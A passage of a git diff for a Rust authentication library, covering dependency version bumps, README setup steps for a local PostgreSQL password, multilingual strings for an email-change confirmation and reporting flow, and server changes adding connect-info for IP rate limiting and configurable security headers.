3715 + "socket2 0.5.10",
3657 3716 "thiserror 2.0.18",
3658 3717 "tokio",
3659 3718 "tracing",
@@ -3690,7 +3749,7 @@ dependencies = [
3690 3749 "cfg_aliases",
3691 3750 "libc",
3692 3751 "once_cell",
3693 - "socket2 0.6.3",
3752 + "socket2 0.5.10",
3694 3753 "tracing",
3695 3754 "windows-sys 0.59.0",
3696 3755 ]
@@ -4110,14 +4169,14 @@ dependencies = [
4110 4169 "errno",
4111 4170 "libc",
4112 4171 "linux-raw-sys",
4113 - "windows-sys 0.61.2",
4172 + "windows-sys 0.59.0",
4114 4173 ]
4115 4174
4116 4175 [[package]]
4117 4176 name = "rustls"
4118 -version = "0.23.37"
4177 +version = "0.23.45"
4119 4178 source = "registry+https://github.com/rust-lang/crates.io-index"
4120 -checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4"
4179 +checksum = "0d41d731c7d2f962d1ccc364cec258de3c0e93b38c2fb3ba97ac74513048d634"
4121 4180 dependencies = [
4122 4181 "once_cell",
4123 4182 "ring",
@@ -4139,9 +4198,9 @@ dependencies = [
4139 4198
4140 4199 [[package]]
4141 4200 name = "rustls-webpki"
4142 -version = "0.103.13"
4201 +version = "0.103.15"
4143 4202 source = "registry+https://github.com/rust-lang/crates.io-index"
4144 -checksum = "61c429a8649f110dddef65e2a5ad240f747e85f7758a6bccc7e5777bd33f756e"
4203 +checksum = "f3c3cf1d8b1e7d4927e2d154c3fcb02979afb9939629c62cd9048d4f07b60ac2"
4145 4204 dependencies = [
4146 4205 "ring",
4147 4206 "rustls-pki-types",
@@ -4213,6 +4272,7 @@ dependencies = [
4213 4272 "openidconnect",
4214 4273 "rand 0.9.2",
4215 4274 "reqwest 0.12.28",
4275 + "sea-bae",
4216 4276 "sea-orm",
4217 4277 "sea-orm-migration",
4218 4278 "serde",
@@ -4234,6 +4294,7 @@ dependencies = [
4234 4294 "urlencoding",
4235 4295 "uuid",
4236 4296 "validator",
4297 + "validator_derive",
4237 4298 "wiremock",
4238 4299 "yaml-rust2",
4239 4300 ]
@@ -4408,12 +4469,11 @@ checksum = "490dcfcbfef26be6800d11870ff2df8774fa6e86d047e3e8c8a76b25655e41ca"
4408 4469
4409 4470 [[package]]
4410 4471 name = "sea-bae"
4411 -version = "0.2.1"
4472 +version = "0.2.2"
4412 4473 source = "registry+https://github.com/rust-lang/crates.io-index"
4413 -checksum = "f694a6ab48f14bc063cfadff30ab551d3c7e46d8f81836c51989d548f44a2a25"
4474 +checksum = "260bbc7148a8d6818ac5032a1b9970da1a68bdd723d45b12d59f7c1bf3565e24"
4414 4475 dependencies = [
4415 4476 "heck 0.4.1",
4416 - "proc-macro-error2",
4417 4477 "proc-macro2",
4418 4478 "quote",
4419 4479 "syn 2.0.117",
@@ -5219,6 +5279,16 @@ dependencies = [
5219 5279 ]
5220 5280
5221 5281 [[package]]
5282 +name = "syn"
5283 +version = "3.0.6"
5284 +source = "registry+https://github.com/rust-lang/crates.io-index"
5285 +checksum = "8593e8e72159ed2257d083c7a454a85cbf854f37a0966d8d483aff8c8a3ebcee"
5286 +dependencies = [
5287 + "proc-macro2",
5288 + "unicode-ident",
5289 +]
5290 +
5291 +[[package]]
5222 5292 name = "sync_wrapper"
5223 5293 version = "1.0.2"
5224 5294 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -5278,10 +5348,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
5278 5348 checksum = "82a72c767771b47409d2345987fda8628641887d5466101319899796367354a0"
5279 5349 dependencies = [
5280 5350 "fastrand",
5281 - "getrandom 0.4.2",
5351 + "getrandom 0.3.4",
5282 5352 "once_cell",
5283 5353 "rustix",
5284 - "windows-sys 0.61.2",
5354 + "windows-sys 0.59.0",
5285 5355 ]
5286 5356
5287 5357 [[package]]
@@ -5889,13 +5959,12 @@ dependencies = [
5889 5959
5890 5960 [[package]]
5891 5961 name = "validator_derive"
5892 -version = "0.20.0"
5962 +version = "0.20.1"
5893 5963 source = "registry+https://github.com/rust-lang/crates.io-index"
5894 -checksum = "b7df16e474ef958526d1205f6dda359fdfab79d9aa6d54bafcb92dcd07673dca"
5964 +checksum = "240e4b81c20a1d6d50d1d7265c658dfbd204e8b9ac4d80f3c931f39462196335"
5895 5965 dependencies = [
5896 - "darling 0.20.11",
5897 - "once_cell",
5898 - "proc-macro-error2",
5966 + "darling 0.23.0",
5967 + "proc-macro-error3",
5899 5968 "proc-macro2",
5900 5969 "quote",
5901 5970 "syn 2.0.117",
M README.md
+3 -0
@@ -102,6 +102,9 @@ Il genere un projet autonome avec :
102 102 ```bash
103 103 # Apres generation
104 104 cd mon-app
105 +# PostgreSQL n'ecoute que 127.0.0.1:5432. Copier database/env.sample vers
106 +# database/.env et definir POSTGRES_PASSWORD (obligatoire, pas de repli).
107 +cp database/env.sample database/.env
105 108 cd database && docker compose up -d && cd ..
106 109 cargo run
107 110 # Ouvrir http://localhost:3000
M crates/rustwarden-core/Cargo.toml
+4 -0
@@ -27,10 +27,14 @@ dotenvy = "0.15"
27 27 # Database ORM
28 28 sea-orm = { version = "2.0.0", features = ["sqlx-postgres", "runtime-tokio-native-tls", "macros"] }
29 29 sea-orm-migration = { version = "2.0.0", features = ["sqlx-postgres", "runtime-tokio-native-tls"] }
30 +# Direct min so a fresh resolve cannot pick sea-bae 0.2.1 (proc-macro-error2 E0365).
31 +sea-bae = "0.2.2"
30 32 # Password hashing
31 33 bcrypt = "0.19"
32 34 # Validation
33 35 validator = { version = "0.20", features = ["derive"] }
36 +# There is no validator 0.20.1 crate; only the derive crate switched to proc-macro-error3.
37 +validator_derive = "0.20.1"
34 38 # UUID & Datetime
35 39 uuid = { version = "1.0", features = ["v4", "serde"] }
36 40 chrono = { version = "0.4", features = ["serde"] }
M crates/rustwarden-core/locales/de.yml
+46 -0
@@ -65,3 +65,49 @@ oauth:
65 65 # Sitzungen
66 66 session:
67 67 ip_unavailable: "Nicht verfügbar"
68 +# Änderung der E-Mail-Adresse (RFC 0041)
69 +email_change:
70 + request_accepted: "Eine E-Mail wurde an Ihre neue Adresse gesendet. Die Änderung wird erst nach der Bestätigung wirksam."
71 + greeting: "Hallo {username},"
72 + fallback_label: "Schaltfläche funktioniert nicht? Kopieren Sie diesen Link in Ihren Browser:"
73 + footer: "Diese E-Mail wurde automatisch versendet, bitte antworten Sie nicht darauf."
74 + validation_subject: "Bestätigen Sie Ihre neue E-Mail-Adresse"
75 + validation_title: "Bestätigen Sie Ihre neue E-Mail-Adresse"
76 + validation_intro: "Für Ihr Konto {app_name} wurde eine Änderung der E-Mail-Adresse beantragt. Öffnen Sie die untenstehende Bestätigungsseite und bestätigen Sie die Änderung dort, um sie abzuschließen."
77 + validation_expires: "Dieser Link ist {hours} Stunde(n) gültig."
78 + validation_ignore: "Falls Sie diese Änderung nicht beantragt haben, ignorieren Sie diese Nachricht einfach: Es wurde nichts geändert und der Link verfällt von selbst."
79 + validation_button: "Bestätigungsseite öffnen"
80 + notice_subject: "Für Ihr Konto wurde eine Änderung der E-Mail-Adresse beantragt"
81 + notice_title: "Antrag auf Änderung der E-Mail-Adresse"
82 + notice_intro: "Soeben wurde beantragt, Ihr Konto auf {email} umzustellen."
83 + notice_unchanged: "Ihr Konto wurde NICHT geändert: Es verwendet weiterhin diese Adresse, die bestätigt bleibt, bis die neue Adresse bestätigt wurde."
84 + notice_report_intro: "Falls der Antrag nicht von Ihnen stammt, öffnen Sie die untenstehende Meldeseite, um die Administratoren zu benachrichtigen."
85 + notice_button: "Meldeseite öffnen"
86 + reported_admin_subject: "Von einem Benutzer gemeldete Änderung der E-Mail-Adresse"
87 + reported_admin_title: "Gemeldete Änderung der E-Mail-Adresse"
88 + reported_admin_intro: "Benutzer {username} hat einen Antrag auf Änderung der E-Mail-Adresse gemeldet, den er nach eigenen Angaben nicht gestellt hat."
89 + reported_admin_details: "Aktuelle Adresse: {old_email} — beantragte Adresse: {new_email} — Meldung eingegangen am {reported_at}."
90 + reported_admin_not_blocked: "Die Änderung ist NICHT blockiert: Wird der Bestätigungslink aufgerufen, wird die Adresse geändert. Greifen Sie ein, wenn die Lage es erfordert."
91 + by_admin_subject: "Ihre E-Mail-Adresse wurde von einem Administrator geändert"
92 + by_admin_title: "E-Mail-Adresse von einem Administrator geändert"
93 + by_admin_intro: "Die E-Mail-Adresse Ihres Kontos {app_name} wurde von einem Administrator geändert."
94 + by_admin_details: "Bisherige Adresse: {old_email} — neue Adresse: {new_email}."
95 + by_admin_support: "Von Ihrer Seite ist nichts zu tun und es gibt nichts zu bestätigen. Wenden Sie sich im Zweifelsfall an den Support."
96 +
97 +# Bestätigungs- und Meldeseiten (RFC 0041)
98 +email_change_page:
99 + confirm_title: "Neue E-Mail-Adresse bestätigen"
100 + confirm_question: "Sie sind dabei, die Anmelde-E-Mail-Adresse Ihres Kontos zu ersetzen. Alle Ihre aktiven Sitzungen werden beendet."
101 + confirm_button: "Änderung bestätigen"
102 + confirm_success_title: "E-Mail-Adresse geändert"
103 + confirm_success: "Ihre neue Adresse ist aktiv und bestätigt. Ihre Sitzungen wurden beendet: Melden Sie sich mit der neuen Adresse erneut an."
104 + report_title: "Verdächtigen Antrag melden"
105 + report_question: "Sie benachrichtigen die Administratoren über diesen Antrag auf Adressänderung. Die Änderung wird dadurch nicht blockiert."
106 + report_button: "Administratoren benachrichtigen"
107 + report_success_title: "Meldung übermittelt"
108 + report_success: "Die Administratoren wurden benachrichtigt. Falls der Antrag nicht von Ihnen stammt, ändern Sie umgehend Ihr Passwort."
109 + error_title: "Unbrauchbarer Link"
110 + error_invalid: "Dieser Link ist ungültig."
111 + error_expired: "Dieser Link ist abgelaufen."
112 + error_used: "Dieser Link wurde bereits verwendet."
113 + error_generic: "Dieser Antrag konnte nicht verarbeitet werden."
M crates/rustwarden-core/locales/en.yml
+46 -0
@@ -79,3 +79,49 @@ oauth:
79 79 # Sessions
80 80 session:
81 81 ip_unavailable: "Unavailable"
82 +# Email address change (RFC 0041)
83 +email_change:
84 + request_accepted: "An email has been sent to your new address. The change will be applied once you confirm it from that message."
85 + greeting: "Hello {username},"
86 + fallback_label: "Button not working? Copy this link into your browser:"
87 + footer: "This email was sent automatically, please do not reply."
88 + validation_subject: "Confirm your new email address"
89 + validation_title: "Confirm your new email address"
90 + validation_intro: "An email-change request was opened for your {app_name} account. Open the confirmation page below and confirm the change there to complete it."
91 + validation_expires: "This link is valid for {hours} hour(s)."
92 + validation_ignore: "If you did not request this change, simply ignore this message: nothing has been modified and the link will expire on its own."
93 + validation_button: "Open the confirmation page"
94 + notice_subject: "An email-change request was opened on your account"
95 + notice_title: "Email-change request"
96 + notice_intro: "A request to move your account to {email} has just been opened."
97 + notice_unchanged: "Your account has NOT changed: it still uses this address, which stays verified until the new one is confirmed."
98 + notice_report_intro: "If you are not the origin of this request, open the report page below to alert the administrators."
99 + notice_button: "Open the report page"
100 + reported_admin_subject: "Email change reported by a user"
101 + reported_admin_title: "Email change reported"
102 + reported_admin_intro: "User {username} reported an email-change request they state they did not initiate."
103 + reported_admin_details: "Current address: {old_email} — requested address: {new_email} — report received on {reported_at}."
104 + reported_admin_not_blocked: "The change is NOT blocked: if the confirmation link is followed, the address will be updated. Step in if the situation warrants it."
105 + by_admin_subject: "Your email address was changed by an administrator"
106 + by_admin_title: "Email address changed by an administrator"
107 + by_admin_intro: "The email address of your {app_name} account was changed by an administrator."
108 + by_admin_details: "Previous address: {old_email} — new address: {new_email}."
109 + by_admin_support: "No action is required on your side and there is nothing to confirm. If in doubt, contact support."
110 +
111 +# Confirmation and report pages (RFC 0041)
112 +email_change_page:
113 + confirm_title: "Confirm your new email address"
114 + confirm_question: "You are about to replace the sign-in email address of your account. All your active sessions will be closed."
115 + confirm_button: "Confirm the change"
116 + confirm_success_title: "Email address changed"
117 + confirm_success: "Your new address is active and verified. Your sessions were closed: sign in again with this new address."
118 + report_title: "Report a suspicious request"
119 + report_question: "You are about to alert the administrators about this email-change request. The change will not be blocked by this report."
120 + report_button: "Alert the administrators"
121 + report_success_title: "Report sent"
122 + report_success: "The administrators have been notified. If you are not the origin of the request, change your password right away."
123 + error_title: "Unusable link"
124 + error_invalid: "This link is invalid."
125 + error_expired: "This link has expired."
126 + error_used: "This link has already been used."
127 + error_generic: "This request could not be processed."
M crates/rustwarden-core/locales/es.yml
+46 -0
@@ -65,3 +65,49 @@ oauth:
65 65 # Sesiones
66 66 session:
67 67 ip_unavailable: "No disponible"
68 +# Cambio de dirección de correo electrónico (RFC 0041)
69 +email_change:
70 + request_accepted: "Se ha enviado un correo electrónico a su nueva dirección. El cambio se aplicará una vez validado."
71 + greeting: "Hola {username}:"
72 + fallback_label: "¿El botón no funciona? Copie este enlace en su navegador:"
73 + footer: "Este correo se ha enviado automáticamente, le rogamos que no responda."
74 + validation_subject: "Confirme su nueva dirección de correo electrónico"
75 + validation_title: "Confirme su nueva dirección de correo electrónico"
76 + validation_intro: "Se ha solicitado un cambio de dirección de correo electrónico para su cuenta {app_name}. Abra la página de confirmación siguiente y confirme allí el cambio para completarlo."
77 + validation_expires: "Este enlace es válido durante {hours} hora(s)."
78 + validation_ignore: "Si usted no ha solicitado este cambio, ignore este mensaje: no se ha modificado nada y el enlace caducará por sí solo."
79 + validation_button: "Abrir la página de confirmación"
80 + notice_subject: "Se ha solicitado un cambio de dirección de correo electrónico en su cuenta"
81 + notice_title: "Solicitud de cambio de dirección de correo electrónico"
82 + notice_intro: "Se acaba de solicitar el traslado de su cuenta a {email}."
83 + notice_unchanged: "Su cuenta NO ha cambiado: sigue utilizando esta dirección, que permanece verificada mientras no se confirme la nueva."
84 + notice_report_intro: "Si usted no ha originado esta solicitud, abra la página de denuncia siguiente para avisar a los administradores."
85 + notice_button: "Abrir la página de denuncia"
86 + reported_admin_subject: "Cambio de correo electrónico denunciado por un usuario"
87 + reported_admin_title: "Cambio de correo electrónico denunciado"
88 + reported_admin_intro: "El usuario {username} ha denunciado una solicitud de cambio de dirección que afirma no haber iniciado."
89 + reported_admin_details: "Dirección actual: {old_email} — dirección solicitada: {new_email} — denuncia recibida el {reported_at}."
90 + reported_admin_not_blocked: "El cambio NO está bloqueado: si se sigue el enlace de confirmación, la dirección se modificará. Intervenga si la situación lo justifica."
91 + by_admin_subject: "Un administrador ha cambiado su dirección de correo electrónico"
92 + by_admin_title: "Dirección de correo electrónico cambiada por un administrador"
93 + by_admin_intro: "Un administrador ha cambiado la dirección de correo electrónico de su cuenta {app_name}."
94 + by_admin_details: "Dirección anterior: {old_email} — nueva dirección: {new_email}."
95 + by_admin_support: "No es necesaria ninguna acción por su parte ni hay nada que confirmar. En caso de duda, póngase en contacto con el soporte."
96 +
97 +# Páginas de confirmación y de denuncia (RFC 0041)
98 +email_change_page:
99 + confirm_title: "Confirmar su nueva dirección de correo electrónico"
100 + confirm_question: "Está a punto de sustituir la dirección de correo de inicio de sesión de su cuenta. Se cerrarán todas sus sesiones activas."
101 + confirm_button: "Confirmar el cambio"
102 + confirm_success_title: "Dirección de correo electrónico cambiada"
103 + confirm_success: "Su nueva dirección está activa y verificada. Sus sesiones se han cerrado: vuelva a iniciar sesión con esta nueva dirección."
104 + report_title: "Denunciar una solicitud sospechosa"
105 + report_question: "Va a avisar a los administradores sobre esta solicitud de cambio de dirección. El cambio no quedará bloqueado por ello."
106 + report_button: "Avisar a los administradores"
107 + report_success_title: "Denuncia enviada"
108 + report_success: "Se ha avisado a los administradores. Si usted no ha originado la solicitud, cambie su contraseña de inmediato."
109 + error_title: "Enlace inutilizable"
110 + error_invalid: "Este enlace no es válido."
111 + error_expired: "Este enlace ha caducado."
112 + error_used: "Este enlace ya se ha utilizado."
113 + error_generic: "No se ha podido procesar esta solicitud."
M crates/rustwarden-core/locales/fr.yml
+46 -0
@@ -80,3 +80,49 @@ oauth:
80 80 # Sessions
81 81 session:
82 82 ip_unavailable: "Non disponible"
83 +# Changement d'adresse e-mail (RFC 0041)
84 +email_change:
85 + request_accepted: "Un e-mail vous a été envoyé à votre nouvelle adresse. Le changement sera pris en compte après validation."
86 + greeting: "Bonjour {username},"
87 + fallback_label: "Le bouton ne fonctionne pas ? Copiez ce lien dans votre navigateur :"
88 + footer: "Cet e-mail a été envoyé automatiquement, merci de ne pas y répondre."
89 + validation_subject: "Confirmez votre nouvelle adresse e-mail"
90 + validation_title: "Confirmez votre nouvelle adresse e-mail"
91 + validation_intro: "Une demande de changement d'adresse e-mail a été ouverte pour votre compte {app_name}. Ouvrez la page de confirmation ci-dessous et confirmez-y le changement pour le finaliser."
92 + validation_expires: "Ce lien est valide pendant {hours} heure(s)."
93 + validation_ignore: "Si vous n'êtes pas à l'origine de cette demande, ignorez ce message : rien n'a été modifié et le lien expirera de lui-même."
94 + validation_button: "Ouvrir la page de confirmation"
95 + notice_subject: "Une demande de changement d'adresse e-mail a été ouverte sur votre compte"
96 + notice_title: "Demande de changement d'adresse e-mail"
97 + notice_intro: "Une demande de transfert de votre compte vers {email} vient d'être ouverte."
98 + notice_unchanged: "Votre compte n'a PAS changé : il utilise toujours cette adresse, qui reste vérifiée tant que la nouvelle n'a pas été confirmée."
99 + notice_report_intro: "Si vous n'êtes pas à l'origine de cette demande, ouvrez la page de signalement ci-dessous pour alerter les administrateurs."
100 + notice_button: "Ouvrir la page de signalement"
101 + reported_admin_subject: "Changement d'adresse e-mail signalé par un utilisateur"
102 + reported_admin_title: "Changement d'adresse e-mail signalé"
103 + reported_admin_intro: "L'utilisateur {username} a signalé une demande de changement d'adresse e-mail qu'il déclare ne pas avoir initiée."
104 + reported_admin_details: "Adresse actuelle : {old_email} — adresse demandée : {new_email} — signalement reçu le {reported_at}."
105 + reported_admin_not_blocked: "Le changement n'est PAS bloqué : si le lien de confirmation est suivi, l'adresse sera modifiée. Intervenez si la situation le justifie."
106 + by_admin_subject: "Votre adresse e-mail a été modifiée par un administrateur"
107 + by_admin_title: "Adresse e-mail modifiée par un administrateur"
108 + by_admin_intro: "L'adresse e-mail de votre compte {app_name} a été modifiée par un administrateur."
109 + by_admin_details: "Ancienne adresse : {old_email} — nouvelle adresse : {new_email}."
110 + by_admin_support: "Aucune action n'est requise de votre part et il n'y a rien à confirmer. En cas de doute, contactez le support."
111 +
112 +# Pages de confirmation et de signalement (RFC 0041)
113 +email_change_page:
114 + confirm_title: "Confirmer votre nouvelle adresse e-mail"
115 + confirm_question: "Vous êtes sur le point de remplacer l'adresse e-mail de connexion de votre compte. Toutes vos sessions en cours seront fermées."
116 + confirm_button: "Confirmer le changement"
117 + confirm_success_title: "Adresse e-mail modifiée"
118 + confirm_success: "Votre nouvelle adresse est active et vérifiée. Vos sessions ont été fermées : reconnectez-vous avec cette nouvelle adresse."
119 + report_title: "Signaler une demande suspecte"
120 + report_question: "Vous allez alerter les administrateurs au sujet de cette demande de changement d'adresse. Le changement ne sera pas bloqué pour autant."
121 + report_button: "Alerter les administrateurs"
122 + report_success_title: "Signalement transmis"
123 + report_success: "Les administrateurs ont été prévenus. Si vous n'êtes pas à l'origine de la demande, changez votre mot de passe sans attendre."
124 + error_title: "Lien inutilisable"
125 + error_invalid: "Ce lien est invalide."
126 + error_expired: "Ce lien a expiré."
127 + error_used: "Ce lien a déjà été utilisé."
128 + error_generic: "Cette demande n'a pas pu être traitée."
M crates/rustwarden-core/locales/it.yml
+46 -0
@@ -80,3 +80,49 @@ oauth:
80 80 # Sessioni
81 81 session:
82 82 ip_unavailable: "Non disponibile"
83 +# Modifica dell'indirizzo e-mail (RFC 0041)
84 +email_change:
85 + request_accepted: "È stata inviata un'e-mail al tuo nuovo indirizzo. La modifica sarà applicata dopo la conferma."
86 + greeting: "Ciao {username},"
87 + fallback_label: "Il pulsante non funziona? Copia questo link nel tuo browser:"
88 + footer: "Questa e-mail è stata inviata automaticamente, ti preghiamo di non rispondere."
89 + validation_subject: "Conferma il tuo nuovo indirizzo e-mail"
90 + validation_title: "Conferma il tuo nuovo indirizzo e-mail"
91 + validation_intro: "È stata aperta una richiesta di modifica dell'indirizzo e-mail per il tuo account {app_name}. Apri la pagina di conferma qui sotto e conferma la modifica per completarla."
92 + validation_expires: "Questo link è valido per {hours} ora/e."
93 + validation_ignore: "Se non hai richiesto questa modifica, ignora semplicemente questo messaggio: nulla è stato modificato e il link scadrà da solo."
94 + validation_button: "Apri la pagina di conferma"
95 + notice_subject: "È stata aperta una richiesta di modifica dell'indirizzo e-mail sul tuo account"
96 + notice_title: "Richiesta di modifica dell'indirizzo e-mail"
97 + notice_intro: "È appena stata aperta una richiesta di trasferimento del tuo account verso {email}."
98 + notice_unchanged: "Il tuo account NON è cambiato: utilizza ancora questo indirizzo, che resta verificato finché il nuovo non viene confermato."
99 + notice_report_intro: "Se la richiesta non proviene da te, apri la pagina di segnalazione qui sotto per avvisare gli amministratori."
100 + notice_button: "Apri la pagina di segnalazione"
101 + reported_admin_subject: "Modifica dell'indirizzo e-mail segnalata da un utente"
102 + reported_admin_title: "Modifica dell'indirizzo e-mail segnalata"
103 + reported_admin_intro: "L'utente {username} ha segnalato una richiesta di modifica dell'indirizzo e-mail che dichiara di non aver avviato."
104 + reported_admin_details: "Indirizzo attuale: {old_email} — indirizzo richiesto: {new_email} — segnalazione ricevuta il {reported_at}."
105 + reported_admin_not_blocked: "La modifica NON è bloccata: se il link di conferma viene seguito, l'indirizzo verrà modificato. Intervieni se la situazione lo richiede."
106 + by_admin_subject: "Il tuo indirizzo e-mail è stato modificato da un amministratore"
107 + by_admin_title: "Indirizzo e-mail modificato da un amministratore"
108 + by_admin_intro: "L'indirizzo e-mail del tuo account {app_name} è stato modificato da un amministratore."
109 + by_admin_details: "Indirizzo precedente: {old_email} — nuovo indirizzo: {new_email}."
110 + by_admin_support: "Non è richiesta alcuna azione da parte tua e non c'è nulla da confermare. In caso di dubbi, contatta l'assistenza."
111 +
112 +# Pagine di conferma e di segnalazione (RFC 0041)
113 +email_change_page:
114 + confirm_title: "Conferma il tuo nuovo indirizzo e-mail"
115 + confirm_question: "Stai per sostituire l'indirizzo e-mail di accesso del tuo account. Tutte le tue sessioni attive verranno chiuse."
116 + confirm_button: "Conferma la modifica"
117 + confirm_success_title: "Indirizzo e-mail modificato"
118 + confirm_success: "Il tuo nuovo indirizzo è attivo e verificato. Le tue sessioni sono state chiuse: accedi di nuovo con questo nuovo indirizzo."
119 + report_title: "Segnala una richiesta sospetta"
120 + report_question: "Stai per avvisare gli amministratori di questa richiesta di modifica dell'indirizzo. La modifica non verrà bloccata."
121 + report_button: "Avvisa gli amministratori"
122 + report_success_title: "Segnalazione inviata"
123 + report_success: "Gli amministratori sono stati avvisati. Se la richiesta non proviene da te, cambia subito la tua password."
124 + error_title: "Link inutilizzabile"
125 + error_invalid: "Questo link non è valido."
126 + error_expired: "Questo link è scaduto."
127 + error_used: "Questo link è già stato utilizzato."
128 + error_generic: "Non è stato possibile elaborare questa richiesta."
M crates/rustwarden-core/locales/pt.yml
+46 -0
@@ -80,3 +80,49 @@ oauth:
80 80 # Sessões
81 81 session:
82 82 ip_unavailable: "Indisponível"
83 +# Alteração do endereço de e-mail (RFC 0041)
84 +email_change:
85 + request_accepted: "Foi enviado um e-mail para o seu novo endereço. A alteração será aplicada após a validação."
86 + greeting: "Olá {username},"
87 + fallback_label: "O botão não funciona? Copie este link para o seu navegador:"
88 + footer: "Este e-mail foi enviado automaticamente, por favor não responda."
89 + validation_subject: "Confirme o seu novo endereço de e-mail"
90 + validation_title: "Confirme o seu novo endereço de e-mail"
91 + validation_intro: "Foi aberto um pedido de alteração do endereço de e-mail para a sua conta {app_name}. Abra a página de confirmação abaixo e confirme aí a alteração para a concluir."
92 + validation_expires: "Este link é válido durante {hours} hora(s)."
93 + validation_ignore: "Se não foi você que pediu esta alteração, ignore esta mensagem: nada foi modificado e o link expirará sozinho."
94 + validation_button: "Abrir a página de confirmação"
95 + notice_subject: "Foi aberto um pedido de alteração do endereço de e-mail na sua conta"
96 + notice_title: "Pedido de alteração do endereço de e-mail"
97 + notice_intro: "Acaba de ser aberto um pedido para transferir a sua conta para {email}."
98 + notice_unchanged: "A sua conta NÃO mudou: continua a usar este endereço, que permanece verificado enquanto o novo não for confirmado."
99 + notice_report_intro: "Se o pedido não partiu de si, abra a página de denúncia abaixo para alertar os administradores."
100 + notice_button: "Abrir a página de denúncia"
101 + reported_admin_subject: "Alteração de e-mail denunciada por um utilizador"
102 + reported_admin_title: "Alteração de e-mail denunciada"
103 + reported_admin_intro: "O utilizador {username} denunciou um pedido de alteração de endereço de e-mail que declara não ter iniciado."
104 + reported_admin_details: "Endereço atual: {old_email} — endereço pedido: {new_email} — denúncia recebida a {reported_at}."
105 + reported_admin_not_blocked: "A alteração NÃO está bloqueada: se o link de confirmação for seguido, o endereço será alterado. Intervenha se a situação o justificar."
106 + by_admin_subject: "O seu endereço de e-mail foi alterado por um administrador"
107 + by_admin_title: "Endereço de e-mail alterado por um administrador"
108 + by_admin_intro: "O endereço de e-mail da sua conta {app_name} foi alterado por um administrador."
109 + by_admin_details: "Endereço anterior: {old_email} — novo endereço: {new_email}."
110 + by_admin_support: "Não é necessária qualquer ação da sua parte e não há nada a confirmar. Em caso de dúvida, contacte o suporte."
111 +
112 +# Páginas de confirmação e de denúncia (RFC 0041)
113 +email_change_page:
114 + confirm_title: "Confirmar o seu novo endereço de e-mail"
115 + confirm_question: "Está prestes a substituir o endereço de e-mail de início de sessão da sua conta. Todas as suas sessões ativas serão encerradas."
116 + confirm_button: "Confirmar a alteração"
117 + confirm_success_title: "Endereço de e-mail alterado"
118 + confirm_success: "O seu novo endereço está ativo e verificado. As suas sessões foram encerradas: inicie sessão novamente com este novo endereço."
119 + report_title: "Denunciar um pedido suspeito"
120 + report_question: "Vai alertar os administradores sobre este pedido de alteração de endereço. A alteração não ficará bloqueada por isso."
121 + report_button: "Alertar os administradores"
122 + report_success_title: "Denúncia enviada"
123 + report_success: "Os administradores foram avisados. Se o pedido não partiu de si, mude a sua palavra-passe de imediato."
124 + error_title: "Link inutilizável"
125 + error_invalid: "Este link é inválido."
126 + error_expired: "Este link expirou."
127 + error_used: "Este link já foi utilizado."
128 + error_generic: "Não foi possível processar este pedido."
M crates/rustwarden-core/src/app.rs
+288 -12
@@ -35,6 +35,7 @@ use crate::auth::session::SessionConfig;
35 35 use crate::config::auth::AuthConfig;
36 36 use crate::config::database;
37 37 use crate::config::email::EmailConfig;
38 +use crate::config::security_headers::{DEFAULT_CONTENT_SECURITY_POLICY, SecurityHeadersConfig};
38 39 use crate::config::server::ServerConfig;
39 40 use crate::dashboard::DashboardCardDTO;
40 41 use crate::hooks::{NoopHooks, RustwardenHooks};
@@ -106,6 +107,12 @@ impl RustwardenApp {
106 107 }
107 108
108 109 /// Get the assembled router (for advanced usage, e.g. testing).
110 + ///
111 + /// Callers who serve this router themselves **must** use
112 + /// [`axum::Router::into_make_service_with_connect_info`] with
113 + /// [`std::net::SocketAddr`]. Without that extension, the auth IP
114 + /// rate-limit cannot see the peer address and keys every request as
115 + /// `unknown`. [`RustwardenApp::run`] does this automatically.
109 116 pub fn into_router(self) -> Router {
110 117 self.router
111 118 }
@@ -114,9 +121,13 @@ impl RustwardenApp {
114 121 pub async fn run(self) -> anyhow::Result<()> {
115 122 let listener = tokio::net::TcpListener::bind(&self.address).await?;
116 123 tracing::info!("Server listening on http://{}", self.address);
117 - axum::serve(listener, self.router)
118 - .await
119 - .map_err(|e| anyhow::anyhow!("Server error: {}", e))
124 + axum::serve(
125 + listener,
126 + self.router
127 + .into_make_service_with_connect_info::<std::net::SocketAddr>(),
128 + )
129 + .await
130 + .map_err(|e| anyhow::anyhow!("Server error: {}", e))
120 131 }
121 132 }
122 133
@@ -169,6 +180,10 @@ pub struct RustwardenBuilder {
169 180 /// Set by [`RustwardenBuilder::headless`]; flips the default auth-failure
170 181 /// mode to `Json401` when no explicit mode was requested.
171 182 headless: bool,
183 + /// Security response headers applied by the security headers middleware
184 + /// (RFC 0039). Defaults to the 1.0.1-compatible policy: legacy CSP,
185 + /// no COOP/CORP. Overridden via [`RustwardenBuilder::security_headers`].
186 + security_headers: SecurityHeadersConfig,
172 187 }
173 188
174 189 impl Default for RustwardenBuilder {
@@ -196,6 +211,7 @@ impl Default for RustwardenBuilder {
196 211 login_path: None,
197 212 auth_failure_mode: None,
198 213 headless: false,
214 + security_headers: SecurityHeadersConfig::default(),
199 215 }
200 216 }
201 217 }
@@ -234,6 +250,19 @@ impl RustwardenBuilder {
234 250 self
235 251 }
236 252
253 + /// Override security headers (CSP / optional COOP / CORP).
254 + ///
255 + /// Default: [`SecurityHeadersConfig::default`] (current 1.0.1 CSP,
256 + /// no COOP/CORP), so consumers that never call this method keep
257 + /// bit-identical response headers. Call this to supply a stricter
258 + /// `Content-Security-Policy` or to opt into cross-origin isolation
259 + /// (e.g. Gitrust dropping its `SetResponseHeaderLayer::overriding`
260 + /// workaround — RFC 0039).
261 + pub fn security_headers(mut self, cfg: SecurityHeadersConfig) -> Self {
262 + self.security_headers = cfg;
263 + self
264 + }
265 +
237 266 /// Merge additional custom routes into the **browser** family.
238 267 ///
239 268 /// Browser routes are session-cookie driven and therefore receive the
@@ -685,11 +714,23 @@ impl RustwardenBuilder {
685 714 let prefixes_for_auth = std::sync::Arc::clone(&protected_prefixes);
686 715 let revocation_checker = self.revocation_checker.clone();
687 716 let dashboard_cards = self.dashboard_cards.clone();
717 + // RFC 0039: the security-headers middleware is the layer right after
718 + // CORS, i.e. *outside* every `Extension(...)` below. Request
719 + // extensions are therefore never visible to it on the way in, so the
720 + // config is captured in the closure as an `Arc` (same pattern as
721 + // `locale_middleware`), NOT injected via `Extension`.
